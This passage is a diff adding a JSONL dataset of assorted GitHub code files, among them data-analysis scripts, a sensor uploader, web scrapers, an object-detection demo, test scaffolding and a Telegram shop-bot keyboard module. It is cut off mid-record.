diff --git "a/6239.jsonl" "b/6239.jsonl"
new file mode 100644--- /dev/null
+++ "b/6239.jsonl"
@@ -0,0 +1,2068 @@
+{"seq_id":"74210938248","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport __init__\nimport src.load_data.loader as data_loader\n\nif __name__ == \"__main__\":\n    url = 'https://raw.githubusercontent.com/jvns/pandas-cookbook/master/data/weather_2012.csv'\n    dest_folder = 'weather/'\n    #data_loader.fetch_data(url, dest_folder)\n    data_file = 'weather_2012.csv'\n    local_path = data_loader.dataset_path(dest_folder, data_file)\n    weather_2012_final = pd.read_csv(local_path, index_col='Date/Time', parse_dates=True)\n    temperatures = weather_2012_final[[u'Temp (C)']].copy()\n    print(temperatures.head())\n    temperatures.loc[:,'Hour'] = weather_2012_final.index.hour\n    print(temperatures.head())\n    temperatures.groupby('Hour').aggregate(np.median).plot()\n    plt.show()\n    temperatures.groupby('Hour').aggregate(np.mean).plot()\n    plt.show()\n\n\n","repo_name":"gaborchris/tutorials","sub_path":"pandas_tutorial/chap5.py","file_name":"chap5.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"20340973188","text":"#!/usr/bin/env python3\nimport time\nfrom smbus import SMBus\nimport requests\nprint(\"Starting PH Probe\")\nbus = SMBus(1)\n\ndef readChannel(params):\n  global bus\n  bus.write_byte(0x48, params & 0x03)\n  bus.write_byte(0x48, 0)\n  return bus.read_byte(0x48)\n\ndef analogOut(out):\n  global bus\n  bus.write_byte(0x48, 0x40)\n  bus.write_byte(0x48, out & 0xFF)\n  bus.write_byte(0x48, 0x00)\n\ndef readAll():\n  global bus\n  bus.write_byte(0x48, 0x04)\n  data = []\n  for _ in range(4):\n    data.append(bus.read_byte(0x48))\n  return data\n\nurl = \"https://beer.tanger.dev/ph\"\nheaders = {'Content-type': 'application/json'}\nwhile(True):\n  print('channel 1 is:')\n  print(readChannel(1))\n  print('check AOUT, should be about 2.5v')\n  print(analogOut(127))\n  val = readChannel(1)\n  val = (val / 10.0)\n  try:\n      response = requests.post(url, json={\"ph\": (val / 10.0), \"data\": \"Test\"}, headers=headers)\n      if response.status_code == 200:\n          print(f\"PH request sent with data: {val}\")\n      print(\n          f\"PH request NOT sent successfully with data: {val} and response code: {response.status_code}: {response.content}\"\n      )\n  except requests.ConnectionError:\n      print(\n          f\"PH request NOT sent successfully with data: {val} and response code: {response.status_code}: {response.content}\"\n      )\n  time.sleep(3)\n","repo_name":"Tangdongle/InFermneter","sub_path":"ph_probe.py","file_name":"ph_probe.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"1755340766","text":"# https://www.hackerrank.com/challenges/defaultdict-tutorial\n\nfrom collections import defaultdict\n\ndef readn(n):\n\tl = []\n\tfor i in range(0, n):\n\t\tl.append(input().strip())\n\treturn l\n\nn, m = map(int, list(input().split(' ')))\nA = readn(n)\nB = readn(m)\nd = defaultdict(list)\nfor i in B:\n\tif d[i] == []:\n\t\tfor j in range(0,len(A)):\n\t\t\tif i == A[j]:\n\t\t\t\td[i].append(j + 1)\n\tif d[i] == []:\n\t\td[i].append(-1)\n\tprint(' '.join(map(str, d[i])))\n\n\n\n\n\n","repo_name":"tamarit/hackerrank_phyton","sub_path":"defaultdict-tutorial/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"3608460339","text":"import datetime\nimport json\nimport os\nfrom time import sleep\nimport requests\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.common.by import By\n\n\nclass ShopDetails:\n    def __init__(self, order_number, url):\n\n        # initialized a dictionary to store the dara\n\n        self.order_number = order_number\n        self.DATA_DICT = {\"Shop Name\": [], \"ShopAddress\": [], \"Phone Number\": [], \"Shop URL\": [],\n                          \"Description\": []}\n\n        self.URL = f\"{url}\"\n        self.BaseURL = \"https://www.northpointcity.com.sg/\"\n\n    def appendingDataInJSONfile(self):\n\n        self.getShopDescription()\n        names = self.DATA_DICT['Shop Name']\n        locations = self.DATA_DICT['ShopAddress']\n        urls = self.DATA_DICT['Shop URL']\n        phone_numbers = self.DATA_DICT['Phone Number']\n        descriptions = self.DATA_DICT['Description']\n\n        data = {\n            \"Shops\": []\n        }\n\n        for name, location, url, phone_number, description in zip(names, locations, urls, phone_numbers, descriptions):\n            data['Shops'].append(\n                {\n                    'Shop Name': name,\n                    'Shop Address': location,\n                    'Shop URL': url,\n                    'Phone Number': phone_number,\n                    'Description': description\n\n                }\n            )\n        order_id = self.order_number\n        folder_path = 'Data'\n        current_utc_datetime = datetime.datetime.utcnow()\n        file_name = f\"{order_id} - {current_utc_datetime.strftime('%Y-%m-%d__%H-%M')}.json\"\n        file_path = os.path.join(folder_path, file_name)\n        if not os.path.exists('Data'):\n            os.mkdir(folder_path)\n        with open(file_path, 'w', encoding=\"utf-8\") as json_file:\n            json.dump(data, json_file, indent=4, ensure_ascii=False)\n\n        print(\"All Data Scrapped Successfully\")\n\n    def getShopDescription(self):\n\n        # in this function getting  description of Shops\n        shop_description_list = []\n        # getting Shops URLs by calling the url extractor Description\n        data = self.getShopData()\n        res_urls = data[0]\n        names = data[1]\n        for url, name in zip(res_urls, names):\n            print(f'Scrapping data of \"{name}\"')\n            response = requests.get(url)\n            # making soap of every url page getting from Description of Shops\n\n            urlSoap = BeautifulSoup(response.text, 'html.parser')\n            # print(urlSoap)\n            if urlSoap is not None:\n\n                # Finding Description of Restaurants\n\n                description_div = urlSoap.find('div', class_=\"textbody\")\n\n                if description_div is not None:\n\n                    description = description_div.text.replace(\"\\n\", \" \").replace(\"  \", \"\").replace('\\u00a0',\n                                                                                                    \" \").replace('\\r',\n                                                                                                                 \"\").replace(\n                        \"\\\"\", \"\")\n\n                    shop_description_list.append(description)\n                else:\n                    shop_description_list.append(\"Not available\")\n            else:\n\n                shop_description_list.append(\"Not Available\")\n\n        self.DATA_DICT['Description'] = shop_description_list\n\n    def getShopData(self):\n\n        soap = self.getShopSoap()\n\n        shop_urls_list = []\n        shop_name_list = []\n        shop_address_list = []\n        shop_number_list = []\n        # Shop URLs\n        if soap is not None:\n            list_of_restaurants = soap.findAll('div', class_=\"storename\")\n            for index, shopurl in enumerate(list_of_restaurants):\n                url = shopurl.find('a')\n                if url is not None:\n                    shop_urls_list.append(self.BaseURL + url['href'])\n                    # print(f\"{index} Scrapping Details FOR  {self.BaseURL + url['href']}\")\n                else:\n                    shop_urls_list.append(\"Not Available\")\n                    print(\"Info Not Available\")\n                # Shop Names\n                shop_name = shopurl.text.replace('\\n', \"\")\n                if shop_name is not None:\n                    shop_name_list.append(shop_name)\n                else:\n                    shop_name_list.append(\"Not Available\")\n            # print(len(shop_name_list))\n            # Shop Address\n            list_of_shop_address = soap.findAll('div', class_=\"col findus\")\n            for shopAddress in list_of_shop_address:\n                if shopAddress is not None:\n                    shop_address_list.append(shopAddress.findNext('div', class_='info').text)\n                else:\n                    shop_address_list.append(\"Not Available\")\n            list_of_shop_number = soap.findAll('div', class_='col callus')\n            for shopNumbar in list_of_shop_number:\n                if shopNumbar is not None:\n                    shop_number_list.append(shopNumbar.findNext('div', class_=\"info\").text)\n                else:\n                    shop_number_list.append(\"Not Available\")\n        else:\n            shop_address_list.append(\"Not Available\")\n            shop_urls_list.append(\"Not Available\")\n            shop_name_list.append(\"Not Available\")\n\n        self.DATA_DICT['Shop Name'] = shop_name_list\n        self.DATA_DICT['ShopAddress'] = shop_address_list\n        self.DATA_DICT['Phone Number'] = shop_number_list\n        self.DATA_DICT['Shop URL'] = shop_urls_list\n        return shop_urls_list, shop_name_list\n\n    def getShopSoap(self):\n        print(\"Scrapping Process start\")\n        chrome_options = Options()\n        chrome_options.add_argument(\"--disable-extensions\")\n        chrome_options.add_argument(\"--disable-gpu\")\n        chrome_options.add_argument(\"--no-sandbox\")\n        chrome_options.add_argument(\"--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36\")\n        chrome_options.add_argument(\"--headless\")\n        driver = webdriver.Chrome(options=chrome_options)\n        driver.get(self.URL)\n        print(\"Loading....\")\n        print(\"Loading website All data\")\n        while True:\n            driver.implicitly_wait(10)\n            try:\n                driver.find_element(By.XPATH, \"/html/body/div[2]/section/a\").click()\n            except:\n                break\n        driver.implicitly_wait(10)\n        sleep(5)\n        html = driver.page_source\n        soup = BeautifulSoup(html, \"html.parser\")\n        driver.close()\n        return soup\n","repo_name":"Mask02/Data_Graber_For_AWS_Remote_Server","sub_path":"Data_Graber(Beautiful Soap)/NORTH_POINT_CITY/NORTH_POINT_CITY.py","file_name":"NORTH_POINT_CITY.py","file_ext":"py","file_size_in_byte":6671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"17203036989","text":"import sys\nimport requests\nfrom io import BytesIO\nfrom PIL import Image\nfrom params import get_scale_params\n\n\n# python main.py Москва, ул. Ак. Королева, 12\ntoponym_to_find = \" \".join(sys.argv[1:])\n\ngeocoder_api_server = \"http://geocode-maps.yandex.ru/1.x/\"\n\ngeocoder_params = {\n    \"apikey\": \"40d1649f-0493-4b70-98ba-98533de7710b\",\n    \"geocode\": toponym_to_find,\n    \"format\": \"json\"}\n\nresponse = requests.get(geocoder_api_server, params=geocoder_params)\n\nif not response:\n    print('ERROR')\n    pass\n\n# Преобразуем ответ в json-объект\njson_response = response.json()\n\n# Собираем параметры для запроса к StaticMapsAPI:\nmap_params = {\n    \"ll\": ','.join([get_scale_params(json_response)['longitude'], get_scale_params(json_response)['latitude']]),\n    \"spn\": get_scale_params(json_response)[\"spn\"],\n    \"l\": \"map\",\n    \"pt\": f\"{','.join([get_scale_params(json_response)['longitude'], get_scale_params(json_response)['latitude']])},pm2rdm1\"\n}\n\nmap_api_server = \"http://static-maps.yandex.ru/1.x/\"\nresponse = requests.get(map_api_server, params=map_params)\n\nImage.open(BytesIO(\n    response.content)).show()\n","repo_name":"HotCucumber1/Full-search","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"1756642731","text":"#-*- coding:utf-8 -*-\r\n\r\nfrom __future__ import division\r\nfrom __future__ import print_function\r\nfrom __future__ import absolute_import\r\n\r\nimport os\r\nimport cv2\r\nimport numpy as np\r\nimport time\r\nfrom torch.multiprocessing import Pool\r\nfrom utils.nms_wrapper import nms\r\nfrom utils.timer import Timer\r\nfrom configs.CC import Config\r\nimport argparse\r\nfrom layers.functions import Detect, PriorBox\r\nfrom peleenet import build_net\r\nfrom data import BaseTransform, VOC_CLASSES\r\nfrom utils.core import *\r\nfrom utils.pycocotools.coco import COCO\r\n\r\n\r\nparser = argparse.ArgumentParser(description='Pelee Testing')\r\nparser.add_argument('-c', '--config', default='configs/Pelee_VOC.py')\r\nparser.add_argument('-d', '--dataset', default='VOC',\r\n                    help='VOC or COCO dataset')\r\nparser.add_argument('-m', '--trained_model', default=None,\r\n                    type=str, help='Trained state_dict file path to open')\r\nparser.add_argument('-t', '--thresh', default=0.5, type=float,\r\n                    help='visidutation threshold')\r\nparser.add_argument('--show', action='store_true',\r\n                    help='Whether to display the images')\r\nargs = parser.parse_args()\r\n\r\nprint_info(' ----------------------------------------------------------------------\\n'\r\n           '|                       Pelee Demo Program                              |\\n'\r\n           ' ----------------------------------------------------------------------', ['yellow', 'bold'])\r\n\r\nglobal cfg\r\ncfg = Config.fromfile(args.config)\r\nanchor_config = anchors(cfg.model)\r\nprint_info('The Anchor info: \\n{}'.format(anchor_config))\r\npriorbox = PriorBox(anchor_config)\r\nnet = build_net('test', cfg.model.input_size, cfg.model)\r\ninit_net(net, cfg, args.trained_model)\r\nprint_info('===> Finished constructing and loading model', ['yellow', 'bold'])\r\nnet.eval()\r\n\r\nnum_classes = cfg.model.num_classes\r\n\r\nimgs_path_dict = {'VOC': 'imgs/VOC', 'COCO': 'imgs/COCO'}\r\nim_path = imgs_path_dict[args.dataset]\r\n\r\nimgs_result_path = os.path.join(im_path, 'im_res')\r\nif not os.path.exists(imgs_result_path):\r\n    os.makedirs(imgs_result_path)\r\n\r\nwith torch.no_grad():\r\n    priors = priorbox.forward()\r\n    if cfg.test_cfg.cuda:\r\n        net = net.cuda()\r\n        priors = priors.cuda()\r\n        cudnn.benchmark = True\r\n    else:\r\n        net = net.cpu()\r\n_preprocess = BaseTransform(\r\n    cfg.model.input_size, cfg.model.rgb_means, (2, 0, 1))\r\ndetector = Detect(num_classes,\r\n                  cfg.loss.bkg_label, anchor_config)\r\n\r\n\r\ndef _to_color(indx, base):\r\n    \"\"\" return (b, r, g) tuple\"\"\"\r\n    base2 = base * base\r\n    b = 2 - indx / base2\r\n    r = 2 - (indx % base2) / base\r\n    g = 2 - (indx % base2) % base\r\n    return b * 127, r * 127, g * 127\r\nbase = int(np.ceil(pow(num_classes, 1. / 3)))\r\ncolors = [_to_color(x, base)\r\n          for x in range(num_classes)]\r\ncats = [_.strip().split(',')[-1]\r\n        for _ in open('data/coco_labels.txt', 'r').readlines()]\r\nlabel_config = {'VOC': VOC_CLASSES, 'COCO': tuple(['__background__'] + cats)}\r\nlabels = label_config[args.dataset]\r\n\r\n\r\ndef draw_detection(im, bboxes, scores, cls_inds, fps, thr=0.2):\r\n    imgcv = np.copy(im)\r\n    h, w, _ = imgcv.shape\r\n    for i, box in enumerate(bboxes):\r\n        if scores[i] < thr:\r\n            continue\r\n        cls_indx = int(cls_inds[i])\r\n        box = [int(_) for _ in box]\r\n        thick = int((h + w) / 300)\r\n        cv2.rectangle(imgcv,\r\n                      (box[0], box[1]), (box[2], box[3]),\r\n                      colors[cls_indx], thick)\r\n        mess = '%s: %.3f' % (labels[cls_indx], scores[i])\r\n        cv2.putText(imgcv, mess, (box[0], box[1] - 7),\r\n                    0, 1e-3 * h, colors[cls_indx], thick // 3)\r\n        if fps >= 0:\r\n            cv2.putText(imgcv, '%.2f' % fps + ' fps', (w - 160, h - 15),\r\n                        0, 2e-3 * h, (255, 255, 255), thick // 2)\r\n\r\n    return imgcv\r\n\r\nim_fnames = sorted((fname for fname in os.listdir(im_path)\r\n                    if os.path.splitext(fname)[-1] == '.jpg'))\r\nim_fnames = (os.path.join(im_path, fname) for fname in im_fnames)\r\nim_iter = iter(im_fnames)\r\n\r\nfor fname in im_fnames:\r\n    image = cv2.imread(fname, cv2.IMREAD_COLOR)\r\n    loop_start = time.time()\r\n    w, h = image.shape[1], image.shape[0]\r\n    img = _preprocess(image).unsqueeze(0)\r\n    if cfg.test_cfg.cuda:\r\n        img = img.cuda()\r\n    scale = torch.Tensor([w, h, w, h])\r\n    out = net(img)\r\n    boxes, scores = detector.forward(out, priors)\r\n    boxes = (boxes[0] * scale).cpu().numpy()\r\n    scores = scores[0].cpu().numpy()\r\n    allboxes = []\r\n    for j in range(1, num_classes):\r\n        inds = np.where(scores[:, j] > cfg.test_cfg.score_threshold)[0]\r\n        if len(inds) == 0:\r\n            continue\r\n        c_bboxes = boxes[inds]\r\n        c_scores = scores[inds, j]\r\n        c_dets = np.hstack((c_bboxes, c_scores[:, np.newaxis])).astype(\r\n            np.float32, copy=False)\r\n        soft_nms = cfg.test_cfg.soft_nms\r\n        # min_thresh, device_id=0 if cfg.test_cfg.cuda else None)\r\n        keep = nms(c_dets, cfg.test_cfg.iou, force_cpu=soft_nms)\r\n        keep = keep[:cfg.test_cfg.keep_per_class]\r\n        c_dets = c_dets[keep, :]\r\n        allboxes.extend([_.tolist() + [j] for _ in c_dets])\r\n\r\n    loop_time = time.time() - loop_start\r\n    allboxes = np.array(allboxes)\r\n    boxes = allboxes[:, :4]\r\n    scores = allboxes[:, 4]\r\n    cls_inds = allboxes[:, 5]\r\n    im2show = draw_detection(image, boxes, scores, cls_inds, -1, args.thresh)\r\n    if im2show.shape[0] > 1100:\r\n        im2show = cv2.resize(im2show,\r\n                             (int(1000. * float(im2show.shape[1]) / im2show.shape[0]), 1000))\r\n    if args.show:\r\n        cv2.imshow('test', im2show)\r\n        cv2.waitKey(2000)\r\n\r\n    filename = os.path.join(imgs_result_path, '{}_stdn.jpg'.format(\r\n        os.path.basename(fname).split('.')[0]))\r\n    cv2.imwrite(filename, im2show)\r\n","repo_name":"Tessellate-Imaging/Monk_Object_Detection","sub_path":"15_pytorch_peleenet/lib/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":5856,"program_lang":"python","lang":"en","doc_type":"code","stars":608,"dataset":"github-code","pt":"16"}
+{"seq_id":"35220121586","text":"import os\nimport sys\n\n# dont do this in production code, this is bad practice it would seem, only for tests\nsys.path.append(os.path.abspath(os.path.dirname(__file__) + \"/../../servicemanager\"))\n\nfrom servicemanager.actions import actions\nfrom servicemanager.serviceresolver import ServiceResolver\nfrom servicemanager.smcontext import SmApplication, SmContext\n\nimport time\nimport shutil\nimport unittest\nimport subprocess\n\n\nclass TestBase(unittest.TestCase):\n\n    config_dir_override = os.path.join(os.path.dirname(__file__), \"../conf\")\n    default_time_out = 10\n\n    def setUp(self):\n        self.set_up_and_clean_workspace()\n        self.setup_local_git()\n        self.bintrayContext = None\n        self.artifactoryContext = None\n        self.nexusContext = None\n\n    def tearDown(self):\n        self.stopFakeBintray()\n        self.stopFakeArtifactory()\n        self.stopFakeNexus()\n        self.tear_down_local_git()\n\n    def set_up_and_clean_workspace(self):\n        workspace_dir = os.path.join(os.path.dirname(__file__), \"workspace\")\n        if os.path.exists(workspace_dir):\n            shutil.rmtree(workspace_dir)\n        os.mkdir(workspace_dir)\n        os.environ[\"WORKSPACE\"] = workspace_dir\n        os.chdir(workspace_dir)\n\n    def setup_local_git(self):\n        workspace_dir = os.path.join(os.path.dirname(__file__), \"workspace\")\n        testapp_dir = os.path.join(os.path.dirname(__file__), \"../testapps/basicplayapp\")\n        os.makedirs(os.path.join(workspace_dir,  \"git\"))\n        shutil.copytree(testapp_dir, os.path.join(workspace_dir,  \"git\", \"basicplayapp\"))\n        os.chdir(os.path.join(workspace_dir, \"git\", \"basicplayapp\"))\n        command = \"git init && git add . && git commit -m 'test'\"\n        ps_command = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, universal_newlines=True)\n        ps_command.communicate()\n        os.chdir(workspace_dir)\n\n    def tear_down_local_git(self):\n        workspace_dir = os.path.join(os.path.dirname(__file__), \"workspace\")\n        git_dir = os.path.join(workspace_dir,  \"git\", \"basicplayapp\")\n        if os.path.exists(git_dir):\n            shutil.rmtree(git_dir)\n\n    def createContext(self):\n        return SmContext(SmApplication(self.config_dir_override), None, False, False)\n\n    def start_service_and_wait(self, context, servicetostart):\n        sm_application = SmApplication(self.config_dir_override)\n        service_resolver = ServiceResolver(sm_application)\n        actions.start_and_wait(\n            service_resolver,\n            context,\n            [servicetostart],\n            source=False,\n            fatjar=True,\n            release=False,\n            proxy=None,\n            port=None,\n            seconds_to_wait=5,\n            append_args=None,\n        )\n\n    def startFakeBintray(self):\n        self.bintrayContext = self.createContext()\n        self.start_service_and_wait(self.bintrayContext, \"FAKE_BINTRAY\")\n        self.assertIsNotNone(self.bintrayContext.get_service(\"FAKE_BINTRAY\").status())\n\n    def startFakeArtifactory(self):\n        self.artifactoryContext = self.createContext()\n        self.start_service_and_wait(self.artifactoryContext, \"FAKE_ARTIFACTORY\")\n        self.assertIsNotNone(self.artifactoryContext.get_service(\"FAKE_ARTIFACTORY\").status())\n\n    def startFakeNexus(self):\n        self.nexusContext = self.createContext()\n        self.start_service_and_wait(self.nexusContext, \"FAKE_NEXUS\")\n        self.assertIsNotNone(self.nexusContext.get_service(\"FAKE_NEXUS\").status())\n\n    def stopFakeNexus(self):\n        if self.nexusContext is not None:\n            self.nexusContext.kill(\"FAKE_NEXUS\", True)\n            self.assertEqual(self.nexusContext.get_service(\"FAKE_NEXUS\").status(), [])\n\n    def stopFakeBintray(self):\n        if self.bintrayContext is not None:\n            self.bintrayContext.kill(\"FAKE_BINTRAY\", True)\n            self.assertEqual(self.bintrayContext.get_service(\"FAKE_BINTRAY\").status(), [])\n\n    def stopFakeArtifactory(self):\n        if self.artifactoryContext is not None:\n            self.artifactoryContext.kill(\"FAKE_ARTIFACTORY\", True)\n            self.assertEqual(self.artifactoryContext.get_service(\"FAKE_ARTIFACTORY\").status(), [])\n\n    def waitForCondition(self, f, expected, time_out_secs=default_time_out):\n        dead_line = time.time() + time_out_secs\n        value = None\n        while time.time() < dead_line:\n            value = f()\n            if value == expected:\n                return\n            time.sleep(0.1)\n\n        command = \"ps -eo ppid,pid,etime,rss,args\"\n        ps_command = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, universal_newlines=True)\n        stdout, _ = ps_command.communicate()\n        print(stdout)\n\n        self.assertEqual(value, expected)\n","repo_name":"hmrc/service-manager","sub_path":"test/it/testbase.py","file_name":"testbase.py","file_ext":"py","file_size_in_byte":4753,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"16"}
+{"seq_id":"72353348167","text":"# Create a function that will take unlimited arguments and should add all the\n# arguments which are passed.\n\ndef sum(*args):\n    Sum = 0\n    lst1 = []\n    for arg in args:\n        lst1.append(arg)\n        Sum += arg\n    print(\"Result: \", Sum)\n\n\nlst = list(map(int, input(\"Please enter the arguments to be taken: \").split()))\nsum(*tuple(lst))\n","repo_name":"zeciljain8197/SBS_Python_Postgres_Training_Repo","sub_path":"python_ex1/Que18.py","file_name":"Que18.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"17660939545","text":"from logging import Logger\n\nfrom botocore.exceptions import ClientError, NoCredentialsError\n\n\ndef boto_client_error(logger: Logger, message: str = \"\"):\n    def decorator(func):\n        def wrapper(*args, **kwargs):\n            try:\n                return func(*args, **kwargs)\n            except ClientError as error:\n                if error.response['Error']['Code'] == 'InternalError':  # Generic error\n                    # We grab the message, request ID, and HTTP code to give to customer support\n                    logger.error('Error Message: {}'.format(error.response['Error']['Message']))\n                    logger.error('Request ID: {}'.format(error.response['ResponseMetadata']['RequestId']))\n                    logger.error('Http code: {}'.format(error.response['ResponseMetadata']['HTTPStatusCode']))\n                else:\n                    logger.error(f\"boto3 clientError raised in function {func.__name__}\" + repr(error) + message)\n                raise\n            except NoCredentialsError as error:\n                logger.error(f\"boto3 NoCredentialsError raised in function {func.__name__}: {repr(error)}\"\n                                 f\"Check if the IAM role has the right permission or if you need to increase IMDS retry.\")\n                raise\n\n        return wrapper\n    return decorator\n","repo_name":"awslabs/aws-glue-libs","sub_path":"awsglue/scripts/connector_activation_util.py","file_name":"connector_activation_util.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","stars":592,"dataset":"github-code","pt":"16"}
+{"seq_id":"32805278993","text":"from aiogram.types import ReplyKeyboardRemove, \\\n    ReplyKeyboardMarkup, KeyboardButton, \\\n    InlineKeyboardMarkup, InlineKeyboardButton\n\nfrom models import Database\ndb = Database()\n\nmain_menu = ReplyKeyboardMarkup(resize_keyboard = True)\nmain_menu.add(\n           KeyboardButton(\"🛍 Каталог\"),\n           KeyboardButton(\"🛒 Корзина\")\n    )\nmain_menu.add(\n          KeyboardButton('👥Партнёрская программа'),\n          KeyboardButton(\"💼 Личный кабинет\")\n    )\nmain_menu.add(\n          KeyboardButton('🏪 О магазине'),\n          KeyboardButton(\"📨 Техподдержка\")\n    )\nadmin_main_menu = ReplyKeyboardMarkup(resize_keyboard = True)\nadmin_main_menu.add(\n           KeyboardButton(\"🛍 Каталог\"),\n           KeyboardButton(\"🛒 Корзина\")\n    )\nadmin_main_menu.add(\n          KeyboardButton('👥Партнёрская программа'),\n          KeyboardButton(\"💼 Личный кабинет\")\n    )\nadmin_main_menu.add(\n          KeyboardButton('🏪 О магазине'),\n          KeyboardButton(\"📨 Техподдержка\")\n    )\nadmin_main_menu.add(\n        KeyboardButton('🔐Административная панель')\n    )\nadmin_menu = ReplyKeyboardMarkup(resize_keyboard = True)\nadmin_menu.add(\n    KeyboardButton('📩Рассылка'),\n    KeyboardButton('📊Статистика')\n        \n    )\n    \nadmin_menu.add(\n    KeyboardButton('ℹ️Пробить по базе'),\n    KeyboardButton('👤Доб. Админа')\n    )    \n    \nadmin_menu.add(\n    KeyboardButton('🛒 История покупок'),\n    KeyboardButton('🖋Написать юзеру')\n    )\nadmin_menu.add(\n    \"◀️Назад\"\n    )    \nall_categories_menu = InlineKeyboardMarkup()\nall_categories_menu.add(\n        InlineKeyboardButton(\n            text = '👕Футболки',\n            callback_data = \"category_t-shirts_1\"\n        ),\n        InlineKeyboardButton(\n            text = '🧢 Кепки',\n            callback_data = \"category_caps_1\"\n        ),       \n    )\nall_categories_menu.add(\n        InlineKeyboardButton(\n            text = '👖Джинсы',\n            callback_data = \"category_jeans_1\"\n        ),\n        InlineKeyboardButton(\n            text = '👟Кросовки',\n            callback_data = \"category_sneakers_1\"\n        ),       \n    )\n    \nall_categories_menu.add(\n        InlineKeyboardButton(\n            text = '🧦Носки',\n            callback_data = \"category_socks_1\"\n        )\n    )    \n    \nasync def get_item_navigation_menu(category_name,item_name, pos):\n    menu = InlineKeyboardMarkup()\n    back_pos = pos - 1\n    if pos == 1:\n        back_pos = 5\n    next_pos = pos+1    \n    if pos == 5:\n        next_pos = 1\n    menu.add(\n            InlineKeyboardButton(\n                text = \"◀️\" ,\n                callback_data = f\"category_{category_name}_{back_pos}\"\n            ),\n            InlineKeyboardButton(\n                text = \"▶️\" ,\n                callback_data = f\"category_{category_name}_{next_pos}\"\n            )            \n        )\n    menu.add(\n            InlineKeyboardButton(\n               text = '🛒 Добавить в корзину',\n               callback_data = f'add_to_cart_{item_name}'\n        )\n      )\n    return menu\n\nchoose_sex_menu = InlineKeyboardMarkup()\nchoose_sex_menu.add(\n        InlineKeyboardButton(\n                text = 'Мужской',\n                callback_data = 'sex_Мужской'\n            ),\n        InlineKeyboardButton(\n                text = 'Женский',\n                callback_data = 'sex_Женский'\n            )            \n    )\n    \nchoose_age_menu = InlineKeyboardMarkup()\nchoose_age_menu.add(\n        InlineKeyboardButton(\n                text = 'до 20',\n                callback_data = 'age_до 20'\n            ),\n        InlineKeyboardButton(\n                text = '20-30',\n                callback_data = 'age_30-20'\n            ),\n        InlineKeyboardButton(\n                text = 'более 30',\n                callback_data = 'age_более 30'\n            )                        \n    ) \nasync def choose_color_menu(choosen_color = []):   \n    menu = InlineKeyboardMarkup(row_width = 4)\n    colors = [['⚫️', 'Черный'],['🔴', 'Красный'],['⚪️', 'Белый'],['🟢', 'Зеленый']]\n    finaly_menu = []\n    for color in colors:\n        if color[1] in choosen_color:\n           finaly_menu.append(\n                InlineKeyboardButton(\n                    text = '☑️',\n                    callback_data = 'pass'\n                    ) \n                )\n        else:\n             finaly_menu.append(\n                 InlineKeyboardButton(\n                     text = color[0],\n                     callback_data = f'color_{color[1]}'\n                        )\n                 )\n    menu.add(\n         *finaly_menu\n        )\n    menu.add(\n            InlineKeyboardButton(\n                    text = '✅ Подтвердить',\n                    callback_data = 'set_colors'\n                )\n        )\n    return menu\n\nasync def basket_navigation_menu(item_name, pos, id):\n    last_pos = await db.get_last_position_bascket(id)\n    sum = await db.get_sum_cost_bascket(id)\n    next_pos = pos+1\n    back_pos = pos-1\n    print(last_pos)\n    if pos == last_pos:\n       next_pos = 1\n    elif pos <=1:\n        \n        back_pos = last_pos\n    menu = InlineKeyboardMarkup()\n    menu.add(\n            InlineKeyboardButton(\n                text = '🔺',\n                callback_data = f'add_qty_item_{item_name}_{pos}'\n                ),\n            InlineKeyboardButton(\n                text = '❌',\n                callback_data = f'delete_from_bascket_{item_name}'\n                ),\n            InlineKeyboardButton(\n                text = '🔻',\n                callback_data = f'take_away_qty_item_{item_name}_{pos}'\n                ),            \n                \n        )\n    menu.add(\n            InlineKeyboardButton(\n                text = '◀️',\n                callback_data = f'bascket_item_pos_{back_pos}'\n                ),\n            InlineKeyboardButton(\n                text = '1/2',\n                callback_data = 'test'\n                ),\n            InlineKeyboardButton(\n                text = '▶️',\n                callback_data = f'bascket_item_pos_{next_pos}'\n                ),            \n        )    \n    menu.add(\n            InlineKeyboardButton(\n                text =f'✅ Оформить заказ нa {sum}?',\n                callback_data = 'order'\n                )\n              )\n    menu.add(\n            InlineKeyboardButton(\n                text ='🛍 Проложить покупки',\n                callback_data = 'catalog'\n                )\n           )\n    return menu\n\n\ncalncel = ReplyKeyboardMarkup(resize_keyboard = True)\ncalncel.add(\n        KeyboardButton('🚫 Отмена')\n  \n    )\n    \nget_lacation_menu = ReplyKeyboardMarkup(resize_keyboard = True)\nget_lacation_menu.add(\n        KeyboardButton('📍 Отправить геолокация',request_location = True)\n  \n    )\nget_lacation_menu.add(\n        KeyboardButton('🚫 Отмена')\n  \n    )\n    \nadd_buttons = ReplyKeyboardMarkup(resize_keyboard = True)\nadd_buttons.add(\n        KeyboardButton('📤 Отправить сообщение'),\n)\nadd_buttons.add(\n         KeyboardButton('☑️ Добвить инлайн кнопки'),\n    )\n\nadd_buttons.add(\n        KeyboardButton('🚫 Отмена')\n    )\n    \n    \nasync def create_markup(markpus):\n    menu = InlineKeyboardMarkup()\n    for markpup in markpus:\n        \n        ii = [markpup.split(' | ')]\n        num = 0\n        for i in ii:\n            if len(i) > 1:\n                markup1 = i[0].split(' - ')\n                markup2 = 